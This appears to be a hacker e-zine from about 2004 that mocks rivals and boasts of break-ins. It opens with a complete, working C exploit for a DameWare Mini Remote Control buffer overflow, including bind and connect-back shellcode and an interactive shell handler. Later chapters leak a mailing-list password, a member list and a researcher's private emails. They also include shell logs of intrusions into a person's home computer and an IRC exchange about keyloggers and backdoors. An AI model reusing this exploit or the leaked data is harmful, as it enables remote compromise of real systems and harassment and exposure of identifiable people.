rm slashbin:
Well I'll be fucked. Your dumbass actually did it. You've
guessed and leeched your way passed all 5 questions. Damn,
maybe they'll let you back into #blackmarket with this victory.
Here you are, your warez.
/** DameWare Mini Remote Control Server <= 3.72 Buffer Overflow
**
** BY: [email]Dvdman@l33tsecurity.com[/email]
**
** Borrowed read/memory routine from flatline thx ;)
**
** SHELLCODE TYPES: BIND,CONNECT BACK
** DATE: 12/18/03 @ 3:00AM EST
**/
#include <stdio.h>
#include <stdlib.h>
#include <error.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <netdb.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <signal.h>
#include "include/mem.h"
#define DAMEWARE_PORT 6129
#define VERSION 3
#define BAIL(function) bail(__FILE__, __LINE__, __func__, function)
#define FATAL(msg, vargs...) logmessage(1, __func__, msg, ## vargs)
#define LOG(msg, vargs...) logmessage(0, __func__, msg, ## vargs)
#define PORT 1981
// don't change the offset
#define PORT_OFFSET 118
#define IP_OFFSET 111
#define LISTN 5
//global variable stuffz
int x;
char *host = NULL;
char *bind_host = NULL;
char buf1[1024];
char buf2[1024];
char buf3[1024];
char buf4[1024];
int i,a,verbose=0;
extern int errno;
struct archs {
char *desc;
unsigned int Jmp_addr; /* jmp/call esp address */
}architectures[] = {
{
"Windows Xp English sp0",
0x77e9fc79
},
{
"Windows XP english SP1",
0x77D7643D
},
{
"Windows 2000 english SP1",
0x74fd41b3
},
{
"Windows 2000 english SP2",
0x74fd1b4b
},
{
"Windows 2000 english SP3",
0x74fd2d57
},
{
"Windows 2000 english SP4",
0x77E42C75
},
{
"Winnt english SP 3",
0x77f326c6
},
{
"Winnt english SP 6",
0x77f32836
},
{
"Windows 2003",
0x77fe39ab
},
};
char shellcode[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
//decoder
"\xEB\x0F\x5B\x80\x33\x96\x43\x81\x3B\x45\x59\x34\x53\x75\xF4\x74"
"\x05\xE8\xEC\xFF\xFF\xFF"
//sc_bind_1981 for 2k/xp/2003 v1.03.10.09 by ey4s
//XOR with 0x96 (267 0x10B bytes)
"\x7E\xB2\x96\x96\x96\x22\xEB\x83\x0E\x5D\xD4\xE1\x2E\x4A\x4B\x8C"
"\xA5\x7F\x2D\x55\x38\x50\xBD\x2B\xB8\x48\xC1\xE4\x32\xB2\x24\xA4"
"\x96\x98\xCB\x5D\x48\xE2\xB4\xF5\x5E\xC9\xFC\xA6\xCD\xF2\x1D\x95"
"\x1D\xD6\x9A\x1D\xE6\x8A\x3B\x1D\xFE\x9E\xFC\x92\xCF\x7E\x12\x96"
"\x96\x96\x74\x6F\x23\x95\xBD\x77\xFE\xA5\xA4\x96\x96\xFE\xE1\xE5"
"\xA4\xC9\xC2\x69\xC1\x6E\x03\xFC\x93\xCF\x7E\xF1\x96\x96\x96\x74"
"\x6F\x1D\x61\xC7\xFE\x94\x96\x91\x2B\x1D\x7A\xC7\xC7\xC7\xC7\xFC"
"\x97\xFC\x94\x69\xC0\x66\x05\xFC\x86\xC3\xC5\x69\xC0\x62\xC6\xC5"
"\x69\xC0\x6E\x1D\x6A\xFC\x98\xCF\x3D\x74\x6B\xC6\xC6\xC5\x69\xC0"
"\x6A\x3D\x3D\x3D\xF0\x51\xD2\xB2\xBA\x97\x97\x1D\x42\xFE\xF5\xFB"
"\xF2\x96\x1D\x5A\xC5\xC6\xC1\xC4\xA5\x4D\xC5\xC5\xC5\xFC\x97\xC5"
"\xC5\xC7\xC5\x69\xC0\x76\xFC\x69\x69\xA1\x69\xC0\x4A\x69\xC0\x7A"
"\x69\xC0\x7A\x69\xC0\x7E\xC7\x1D\xE3\xAA\x1D\xE2\xB8\xEE\x95\x63"
"\xC0\x1D\xE0\xB6\x95\x63\xA5\x5F\xDF\xD7\x3B\x95\x53\xA5\x4D\xA5"
"\x44\x99\x28\x86\xAC\x40\xE2\x9E\x57\x5D\x8D\x95\x4C\xD6\x7D\x79"
"\xAD\x89\xE3\x73\xC8\x1D\xC8\xB2\x95\x4B\xF0\x1D\x9A\xDD\x1D\xC8"
"\x8A\x95\x4B\x1D\x92\x1D\x95\x53\x3D\xCF\x55"
//decoder end sign
"\x45\x59\x34\x53";
//316 byte connect_back shellcode
unsigned char connect_back[]=
"\xEB\x10\x5B\x4B\x33\xC9\x66\xB9\x25\x01\x80\x34\x0B\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF"
"\x70\x62\x99\x99\x99\xC6\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12"
"\xE9\x85\x34\x12\xF1\x91\x12\x6E\xF3\x9D\xC0\x71\x02\x99\x99\x99"
"\x7B\x60\xF1\xAA\xAB\x99\x99\xF1\xEE\xEA\xAB\xC6\xCD\x66\x8F\x12"
"\x71\xF3\x9D\xC0\x71\x1B\x99\x99\x99\x7B\x60\x18\x75\x09\x98\x99"
"\x99\xCD\xF1\x98\x98\x99\x99\x66\xCF\x89\xC9\xC9\xC9\xC9\xD9\xC9"
"\xD9\xC9\x66\xCF\x8D\x12\x41\xF1\xE6\x99\x99\x98\xF1\x9B\x99\x99"
"\xAC\x12\x55\xF3\x89\xC8\xCA\x66\xCF\x81\x1C\x59\xEC\xD3\xF1\xFA"
"\xF4\xFD\x99\x10\xFF\xA9\x1A\x75\xCD\x14\xA5\xBD\xF3\x8C\xC0\x32"
"\x7B\x64\x5F\xDD\xBD\x89\xDD\x67\xDD\xBD\xA4\x10\xC5\xBD\xD1\x10"
"\xC5\xBD\xD5\x10\xC5\xBD\xC9\x14\xDD\xBD\x89\xCD\xC9\xC8\xC8\xC8"
"\xF3\x98\xC8\xC8\x66\xEF\xA9\xC8\x66\xCF\x9D\x12\x55\xF3\x66\x66"
"\xA8\x66\xCF\x91\xCA\x66\xCF\x85\x66\xCF\x95\xC8\xCF\x12\xDC\xA5"
"\x12\xCD\xB1\xE1\x9A\x4C\xCB\x12\xEB\xB9\x9A\x6C\xAA\x50\xD0\xD8"
"\x34\x9A\x5C\xAA\x42\x96\x27\x89\xA3\x4F\xED\x91\x58\x52\x94\x9A"
"\x43\xD9\x72\x68\xA2\x86\xEC\x7E\xC3\x12\xC3\xBD\x9A\x44\xFF\x12"
"\x95\xD2\x12\xC3\x85\x9A\x44\x12\x9D\x12\x9A\x5C\x32\xC7\xC0\x5A"
"\x71\x99\x66\x66\x66\x17\xD7\x97\x75\xEB\x67\x2A\x8F\x34\x40\x9C"
"\x57\xE7\x41\x7B\xEA\x52\x74\x65\xA2\x40\x90\x6C\x34\x75\x60\x33"
"\xF9\x7E\xE0\x5F\xE0";
//sets up packet to talk to DAMEWARE and return the service pack info
char packet1[] = {
0x30, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xc3, 0xf5, 0x28, 0x5c, 0x8f, 0xc2, 0x0d, 0x40,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00 };
char user[] = {
0x10, 0x27, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00 };
unsigned char packet3[] = {
0x30, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xC3, 0xF5, 0x28, 0x5C, 0x8F, 0xC2, 0x0D, 0x40,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00
};
//ripped from flatline
void bail(char *file, int line, const char *calledfrom, char *function)
{ fprintf(stderr, "in %s:%i, function '%s': '%s' failed: '%s' (code %i)\n",
file, line, calledfrom, function, strerror(errno), errno);
fflush(stderr);
exit(errno);
}
//ripped from flatline
char *readall(int fd, int *len)
{ char *buf, *ptr;
int chunksize = 1024, size = chunksize, r;
ptr = buf = xmalloc(size + 1);
*len = 0;
do
{ if ((r = read(fd, ptr, size)) == -1)
{ if (errno == ECONNRESET) break;
BAIL("read");
}
*len += r;
if (r == size)
{ size += chunksize;
buf = xrealloc(buf, size + 1);
ptr = buf + (size - chunksize);
}
else
{ ptr += r;
break;
}
}
while (r);
return buf;
}
int usage(char *p)
{
printf( "Usage: %s <-h ip> <-t type of shellcode> [1= bind_1981][2= "
"connect back] -b [local ip]\n", p);
return 0;
}
/* ripped from TESO code */
void shell (int sock)
{
int l;
char buf[512];
fd_set rfds;
while (1) {
FD_SET (0, &rfds);
FD_SET (sock, &rfds);
select (sock + 1, &rfds, NULL, NULL, NULL);
if (FD_ISSET (0, &rfds)) {
l = read (0, buf, sizeof (buf));
if (l <= 0) {
printf("\n - Connection closed by local user\n");
exit (EXIT_FAILURE);
}
write (sock, buf, l);
}
if (FD_ISSET (sock, &rfds)) {
l = read (sock, buf, sizeof (buf));
if (l == 0) {
printf ("\n - Connection closed by remote host.\n");
exit (EXIT_FAILURE);
} else if (l < 0) {
printf ("\n - Read failure\n");
exit (EXIT_FAILURE);
}
write (1, buf, l);
}
}
}
int main (int argc, char **argv)
{
int c,sz;
int len = 0,sc_type,insock,outsock;
struct hostent *he;
struct in_addr in;
unsigned int ip;
struct sockaddr_in peer;
struct sockaddr_in home;
unsigned char packet2[9000];
unsigned long ret;
int fd = -1,s2,x,winvers,sp,nosp=0;
unsigned short a;
unsigned long b;
char *ip2=NULL;
char recvbuf[10000];
printf("DameWare Mini Remote Control Server <= 3.72 Buffer Overflow\n");
printf("BY: [email]Dvdman@l33tsecurity.com[/email]\n");
if (argc < 3) {
usage(argv[0]);
exit(1);
}
while((c = getopt(argc, argv, "h:t:b:v")) != EOF) {
switch(c) {
case 'h':
host = optarg;
break;
case 't':
sc_type = atoi(optarg);
break;
case 'b':
bind_host = optarg;
break;
case 'v':
verbose = 1;
break;
default:
usage (argv[0]);
return 0;
}
}
printf("BIND HOST IS %s\n",bind_host);
if (sc_type == 2) {
printf("[*] Binding to local port: %d.... ",PORT);
bzero(&home, sizeof(home));
home.sin_family=AF_INET;
home.sin_addr.s_addr=htonl(INADDR_ANY);
home.sin_port=htons(PORT);
/* catch the SIG */
signal(SIGCHLD,SIG_IGN);
/* here we go! */
if((insock=socket(AF_INET,SOCK_STREAM,0))<0)
{
perror("socket");
exit(EXIT_FAILURE);
}
if((bind(insock,(struct sockaddr *)&home,sizeof(home))<0))
{
perror("bind");
exit(EXIT_FAILURE);
}
if((listen(insock,LISTN))<0)
{
perror("listen");
exit(EXIT_FAILURE);
}
sz=(int)sizeof(struct sockaddr_in);
printf("[ OK ]\n");
}
if (!inet_aton(host, &in))
{
if (!(he = gethostbyname(host)))
{
herror("Resolving host");
exit(EXIT_FAILURE);
}
in.s_addr = *((unsigned int *)he->h_addr);
}
ip = in.s_addr;
peer.sin_family = AF_INET;
peer.sin_port = htons(DAMEWARE_PORT);
peer.sin_addr.s_addr = ip;
fd = socket(AF_INET, SOCK_STREAM, 0);
if (fd < 0)
{
perror("socket");
exit(0);
}
printf("[+] Connecting to %s....... ", inet_ntoa(peer.sin_addr));
fflush(stdout);
if (connect(fd, (struct sockaddr *)&peer, sizeof(struct sockaddr_in)) < 0)
{
perror("connect");
exit(0);
}
printf("Connected\n");
x = recv(fd, recvbuf, sizeof(recvbuf), 0);
recvbuf[26] = 0x00;
recvbuf[30] = 0x00;
recvbuf[36] = 0x01;
send(fd, recvbuf, 40, 0);
x = recv(fd, recvbuf, sizeof(recvbuf), 0);
winvers = recvbuf[17];
printf("DEBUG WINVER: %d\n",winvers);
if(recvbuf[8]==5 && recvbuf[12]==0)
{ if (verbose) {
printf("WIN2000 [ver 5.0.%d]\n SP String : %-1.20s\n\n"
,*(unsigned short *)&recvbuf[16],&recvbuf[24]);
} sp = atoi(&recvbuf[37]);
}
if(recvbuf[8]==5 && recvbuf[12]==1)
{ if (verbose) {
printf("WINXP [ver 5.1.%d]\n SP String : %-1.20s\n\n",
*(unsigned short *)&recvbuf[16],&recvbuf[24]);
} sp = atoi(&recvbuf[37]);
}
else if(recvbuf[8]==5 && recvbuf[12]==2)
{ if (verbose) {
printf("WIN2003 [ver 5.2.%d]\n SP String : %-1.20s\n\n",
*(unsigned short *)&recvbuf[16],&recvbuf[24]);
} sp = atoi(&recvbuf[37]);
}
else if(recvbuf[8]==4)
{ if (verbose) {
printf("WINNT4\n SP String : %-1.20s\n\n",&recvbuf[24]);
} sp = atoi(&recvbuf[37]);
}
if (winvers == 8) {
switch (sp) {
case 1:
ret = architectures[2].Jmp_addr;
break;
case 2:
ret = architectures[3].Jmp_addr;
break;
case 3:
ret = architectures[4].Jmp_addr;
break;
case 4:
ret = architectures[5].Jmp_addr;
break;
default:
fprintf(stderr, "Error finding service pack inspect "
"manually... Exiting\n");
close(fd);
exit(1);
}
} else if( winvers == 10) {
if(nosp == 1) {
ret = architectures[0].Jmp_addr;
} else if (sp == 1) {
ret = architectures[1].Jmp_addr;
}
} else if(recvbuf[8]==4) {
switch (sp) {
case 1:
break;
case 2:
ret = architectures[3].Jmp_addr;
case 3:
ret = architectures[6].Jmp_addr;
break;
case 4:
break;
case 5:
break;
case 6:
ret = architectures[7].Jmp_addr;
break;
default:
fprintf(stderr, "Error finding service pack inspect "
"manually... Exiting\n");
close(fd);
exit(1);
}
} else {
fprintf(stderr, "Unknown OS sorry Exiting...\n");
exit(1);
}
close(fd);
printf("[+] Connecting to %s....... ", inet_ntoa(peer.sin_addr));
fflush(stdout);
if (!inet_aton(host, &in))
{
if (!(he = gethostbyname(host)))
{
herror("Resolving host");
exit(EXIT_FAILURE);
}
in.s_addr = *((unsigned int *)he->h_addr);
}
ip = in.s_addr;
peer.sin_family = AF_INET;
peer.sin_port = htons(DAMEWARE_PORT);
peer.sin_addr.s_addr = ip;
fd = socket(AF_INET, SOCK_STREAM, 0);
if (fd < 0)
{
perror("socket");
exit(0);
}
if (connect(fd, (struct sockaddr *)&peer, sizeof(struct sockaddr_in)) < 0)
{
perror("connect");
exit(0);
}
printf("Connected\n");
printf("Sending Packet #1\n");
if (send(fd,packet1,sizeof(packet1),0)== -1)
{
perror("- Send");
return(0);
}
readall(fd, &len);
memcpy(packet2,user,sizeof(user)); //local username 196 bytes
memset(packet2+sizeof(user),0x90,320); //remote username (OVERFLOW BIT)
memcpy(packet2+sizeof(user)+320,&ret,4);
if (sc_type == 1){
memcpy(packet2+sizeof(user)+324,shellcode,sizeof(shellcode));
} else {
a = htons(PORT)^(short)0x9999;
b = inet_addr(bind_host)^(long)0x99999999;
memcpy(&connect_back[PORT_OFFSET], &a, 2);
memcpy(&connect_back[IP_OFFSET], &b, 4);
memcpy(packet2+sizeof(user)+324,connect_back,sizeof(connect_back));
}
printf("Sending Packet #2\n");
if (send(fd,packet2,sizeof(packet2),0)== -1)
{
perror("- Send");
return(0);
}
readall(fd, &len);
printf("Sending Packet #3\n");
if (send(fd,packet3,sizeof(packet3),0)== -1)
{
perror("- Send");
return(0);
}
readall(fd, &len);
printf("[+] Wait for shell.\n");
if (sc_type == 1) {
if (!(he = gethostbyname(host)))
{
herror("Resolving host");
exit(0);
}
in.s_addr = *((unsigned int *)he->h_addr);
ip2 = in.s_addr;
sleep(5);
peer.sin_family = AF_INET;
peer.sin_port = htons(1981);
peer.sin_addr.s_addr = ip2;
s2 = socket(AF_INET, SOCK_STREAM, 0);
if (s2 < 0)
{
perror("socket");
exit(EXIT_FAILURE);
}
if (connect(s2, (struct sockaddr *)&peer, sizeof(struct sockaddr_in)) < 0)
{
perror("connect");
return(0);
}
printf ("[+] We got a shell \n");
shell(s2);
} else {
if((outsock=accept(insock,(struct sockaddr *)&home, &sz))<0)
{
perror("accept");
exit(EXIT_FAILURE);
}
shell(outsock);
}
close(fd);
exit(0);
}
bx:
What The Fuck! I worked on that exploit for over a month! But I
lost in in my last rm'ing. Good thing people like dvdman leave
their shells wide open. It looks like he may have added another
target. I'll have to bring this back to the icerslair lab for
research! Thanks to h0no I'll be #1 op in #darknet for the next
week! Watch out nolife! Here comes the l33tsecurity warez!!
rm slashdot:
That's it folks, the end of our first episode of 'who wants to win
an 0day?'. And with that I would just like to say:
roSEC you fucking suck. Fucking whitehats. Here is admin access
to their private mailing list:
bebeioana
Here is their member list:
aanton spintech.ro - Alin-Adrian Anton
b0iler r00thell.org - b0iler
clau spintech.ro - clau
deltha analog.ro - ^sq
edcba operamail.com - edcba
esdee netric.org - eSDee
gorny netric.org - gorny
irian analog.ro - irian
jnf redwhitearmy.com - sin
konewka ffs.ath.cx - konewka
lacroix mail.dsjbn.ro - lacroix
laurens netric.org - Laurens
phr3ak front.ru - phr3ak
secoall2 hushmail.com - ergosum
sploiting mandragore.made.a-vir.us - capoeira
05.txt-~-~-~ Blaqh4t l1n3nc3
Blackhat license.
Copyright (c) 2004 <OWNER>
All rights reserved.
Redistribution and use in source or binary forms, with or without
modification, are not permitted reguardless of the conditions met.
1. DEFINITIONS
"Redistribution" means Redistributing the Program, modifications to
the Program, or any part thereof.
"Recipient" means anyone who receives the Program under this
Agreement, including all Contributors.
"Distributor" means a Recipient that distributes the Program,
modifications to the Program, or any part thereof.
"Resources" means everything fully or partially owned by the Distributor.
"User" means anyone who agree to the conditions.
2. CONDITIONS
a. Redistributions of source code is not permitted.
b. Redistributions in the binary form is not permitted.
c. Redistributions of the above copyright notice, this list of conditions,
and the following disclaimer is permitted.
d. By proceeding to a Redistribution and under any form of the Program
the Distributor is granting ownership of his Resources without
limitations to the copyright holder(s).
3. DISCLAIMER
THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. THE
AUTHOR OF THIS SOFTWARE IS NOT TO BE IMPLIED TO USE OR HAVE USED THIS
SOFTWARE ON ANY NETWORK OF MACHINES OWNED BY SAID AUTHOR OR OTHERS.
06.txt-~-~-~ 0wn1n di0ad'z m0m
di0ad t4lkz t00 much sh1t f0r h1s 0wn g00d. l34rn t0 c0de h3ll0 w0rld, l4m3r.
matt@labyrinth:~/misc$ ./bash 192.168.1.100 -b 1
[+] Resolving host..
[+] Exploit done.
[+] Connected to bindshell..
-- bling bling --
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>
.....
11/13/2003 07:27 PM <DIR> Judy Joyner
.....
--- END SHELL LOG
that would be di0ads mom then...
A little later on IRC...
*di0aD* die bitch
*di0aD* wtf did you do
*di0ad*> what? lol, oh come on dewd
*di0aD* I'm trying todo shit
*di0aD* and you fucking crashed shit on the xp box
*di0aD* god damn it
*di0aD* xp is shutting down
*di0aD* ARG
*di0aD* wtf did you do
*di0aD* bee otch
*di0ad*> just a stupid dos lol
*di0ad*> sorry, i wotn do it again, can i have my shell back?
*di0aD* after I update this box
*di0ad*> i just wanted to own your mum dewd, shes hot
*di0aD* dont make me install uber strict ACLs
*di0ad*> i already owned your linksys DSL router, so you cant anyhow lol
*di0aD* right
*di0aD* nothing a hard reset wont fix
*di0ad*> i 0wned your mom.
*di0ad*> you better re-install that box
*di0aD* only cause you were given privledged info and access
*di0aD* reinstall?
*di0ad*> yeah
*di0ad*> i put a keylogger on there
*di0aD* no shit?
*di0ad*> you killed me before i got the backdoor on
*di0ad*> lol
*di0aD* god damn you
*di0aD* it aint fucking funny
*di0aD* whats the name of the keylogger
*di0aD* what else you fscking HOAR
*di0ad*> alot more
*di0ad*> i set it to download child porn from usenet
*di0ad*> if only id got that damn trojan on in time
*di0aD* did you completely over write autoexec.bat
*di0aD* why is the only thing in autoexec.bat "echo MATT OWNED YOUR MUM"
*di0aD* son of a bitch
*di0aD* i ought to rape you
*di0ad*> can i rape your mum?
*di0aD* if you like women with silicone poisoning
*di0aD* and both breasts removed
*di0aD* tty=NODEVssh ruser= rhost=XXXXXXX.ipt.aol.com user=matt
*di0aD* 1 labyrinth sshd: Failed password for matt from 172.133.231.80
***di0aD pasted details about my ip into a channel of packet monkeys...
*di0aD* heh
*di0aD* hope everyone there likes you
**** I reconnected, for fear of a DDoS monkey killing my sessions... some of us
are trying to Hack here!!!
As i had cat'd the pass file from his linux box, i attempted to find other
users who were awakeon dioad's shell that would like a win32 shell, after all,
in 45mins SP1 will be installed...
*** cyb has been idle 1016 minutes, signed on at Wed Nov 12 01:38:02 2003
Damn, i guess not...
------ And that was the end of di0aD and his mum's box...
Till next time!
-------------------- THE FINAL CHAPTER!!!!
After a while, it became apparent that di0ad was in denail of his box being
owned, needless to say it was subsequently do_brk()'d and backdoored - to this
DAY it still remains backdoored....
if you have a shell on di0ad's dsl connection and require access to either his
mom's system or his home system or hell, even his DSL router, just ask in
#darknet (h0no's offical channel)...
07.txt-~-~-~ badpack3t's membership to the narq net (tm)
This idiot idles in #phrack. Probably waitting for warez info to leak to
his boss. His nick is badpack3t. I am tired of your lies, theft, and
ignorance. You will be exposed. This fuck sells more 0days to idefense
than gov-boi on the hack.co.za going out of business sale.
Date: Thu, 24 Jun 2004 16:42:37 -0400 (EDT)
Subject: Re: security audit job.
From: "Tom Ferris" <[email]tommy@security-protocols.com[/email]>
Hi James,
Well, to give you a readers digest of my career. I currently work for
eEye Digital Security, and have been here for over a year now. I am a
research and development engineer. I code all of the vulnerability
checks for our VA product called Retina. I have allot of experince with
Windows, Linux, SunOS, HP-UX and other flavors of UNIX. I also reverse engineer
products to find vulnerabilities which can be exploited. Before
working at eEye, I also work for Foundstone as a r&d engineer for over 2 years.
Prior to Foundstone, I work for the DoD doing pen testing. So I have
been in the business for over 7 years now.
So, I defintly have the experince to do a quality pen test job. I can
do a pentest on your internal network, and or external network to see what
you have exposed. From there I will compile executive reports on what
machines are vulnerable and how to fix them.
Also, I am the founder of [url]www.security-protocols.com[/url] which is security
portal site. So if you could, please give me more details on the
pentest job. Location, how many hosts to scan, external scan, internal scan...
Thanks for your time,
Tom Ferris
Founder
[url]www.security-protocols.com[/url]
Date: Thu, 24 Jun 2004 18:10:29 -0400 (EDT)
Subject: Re: security audit job.
From: "Tom Ferris" <[email]tommy@security-protocols.com[/email]> View Contact Details
To: [email]jameszang2@yahoo.com[/email]
Hi James,
30 machines should be a snap!
eEye Digital Security:
- Research publicly released vulnerabilities and find a way to remotely
detect them using Retina Security Scanner.
- Reverse engineer .dll's, and other binaries to find commonly
exploitable bugs. If a bug is found, code a proof of concept exploit to
reproduce the problem.
- Work with clients to do customized vulnerability/pen testing scans
for there network. Upon finding vulnerable machines, compile a fix-it report.
Foundstone:
- Research publicly released vulnerabilities and find a way to remotely
detect them using FoundScan.
- Reverse engineer .dll's, and other binaries to find commonly exploitable
bugs. If a bug is found, code a proof of concept exploit to reproduce
the problem.
- I would get pen testing assignments for banks, credit unions and
other large financial networks.
DoD:
I am not able to disclose anything that I have worked on. But I can
say that all I did was "Red Team" pen testing. I would basically be given
a list of IP addresses, and was told to see "how far you can get in". I
would then help close the holes which were found in the network. I did
this for 2 years.
I have also done many pen testing jobs for local banks and credit
unions in my area. They mainly had BSD and SunOS machines. I have also coded
all of pen testing tools which help automate allot of scanning process,
making the job very fast and accurate.
I have been coding vulnerability checks for 2 of the most widely used
VA products for over 3 years now. Coding these checks require extensive
knowledge of vulnerabilities which affect all operating systems.
So, you said you worked for [url]www.bee-net.com?[/url] I was looking at the
site, seems like a nice company. Are you guys located in Japan?
Well, if you would like to make an offer on this job let me know. I
would be more than happy to work with you in getting your systems locked
down. You have defiantly came to the right person for the job.
Please keep all of this information regarding myself confidential.
Thanks,
--Tom
08.txt-~-~-~ iCER & darkacid` secret lives revealed
This is the owning of a lame shell whore named iCER. This 'hacker' has a
brother who does the dirty work, although it is believed they may be the same
person. His nick is darkacid. They are both dumb as shit. I didn't know it
took skill to be an irc whore.
Not only is darkacid dumb as shit, but he is a spammer, irc warez channel whore
and #darknet resident. He uses darkacid nick to DDoS people and rip them off in
exploit trading. All his exploits are over 7 months old public codes. He even
has his own email addresses in his spamming file.
10 bonus points for those who noticed the termcrew connection between this hack
and the hex69 one. They were unrelated besides the fact that both of these
bitches dont have any good warez. bx, you're next.
Careless hacks, no warez, partners with an irc channel takeover crew, DDoSes
people, rips people off on exploit trading, and spams. What a supreme hacker
resume!
This rm is for that spamming fuckwit darkacid, and don't ever think of DDoSing
again.
[root@r00tk1t:/dev/cui9]# ssh -l efnet storm.magicshells.com
[email]efnet@storm.magicshells.com[/email]'s password:
Last login: Sat Jul 3 13:57:06 2004 from 127.0.0.1
FreeBSD 4.9-RELEASE (GENERIC) #0: Mon Oct 27 17:51:09 GMT 2003
FreeBSD 4.9-RELEASE (GENERIC) #0: Mon Oct 27 17:51:09 GMT 2003
Welcome to MagicShells.com!!
---------------------
Welcome!
Need a hand? Try contact us at: irc.austnet.org in #MagicShells.
Like to send an email? Email: [email]root@magicshells.com[/email]
Enjoy!
- MS.com staff
22/06/2004
------------
Everything is running smooth. New commands have been implemented. Feel free to
use:
getegg - Loads the latest EGGDROP (1.6.16) into your dir and compile it up for
you to edit the config file
getpsy - Will load a PsyBNC and get you into a GUI configuration for you to
setup
getbnc - Will load BNC and get you into a GUI configuration for you to setup
vhosts - A list of our virtual hosts you can use
vhosti - Shows our VHOSTS ip (Easier for you to load for BNC's)
vhosth - Shows our VHOSTS hosts (Easier for you to load for BNC's)
BitchX - Irc Client
passwd - Change your password
motd - Brings up this MOTD
------------
We advise you to read over our Terms and Agreements before continuing at:
[url]www.magicshells.com/temrs.html[/url]
Thank-You
(efnet@storm)(~)
$ ls -al
total 461716
drwx--x--x 11 efnet efnet 512 Jul 3 13:57 .
drwx--x--x 16 root wheel 512 Jul 2 22:49 ..
-rw------- 1 efnet efnet 285 Apr 8 06:05 .bash_history
drwx------ 2 efnet efnet 512 May 5 01:46 .irssi
drwx------ 11 efnet efnet 512 Jun 13 04:52 .pSy
drwx------ 2 efnet efnet 512 Mar 27 14:37 .ssh
-rw-r--r-- 1 efnet efnet 20155990 May 17 17:16 10000031.txt.1
-rw-r--r-- 1 efnet efnet 209508631 Jun 14 09:39 40mil.zip
drwx------ 12 efnet efnet 1536 Jun 14 12:44 Unreal3.2
-rw-r--r-- 1 efnet efnet 0 Jul 2 14:25 configinfo.php
-rw-r--r-- 1 efnet efnet 498 Jun 28 14:31 contact.cfm
drwxr-xr-x 10 efnet efnet 1024 Jul 2 13:00 egg
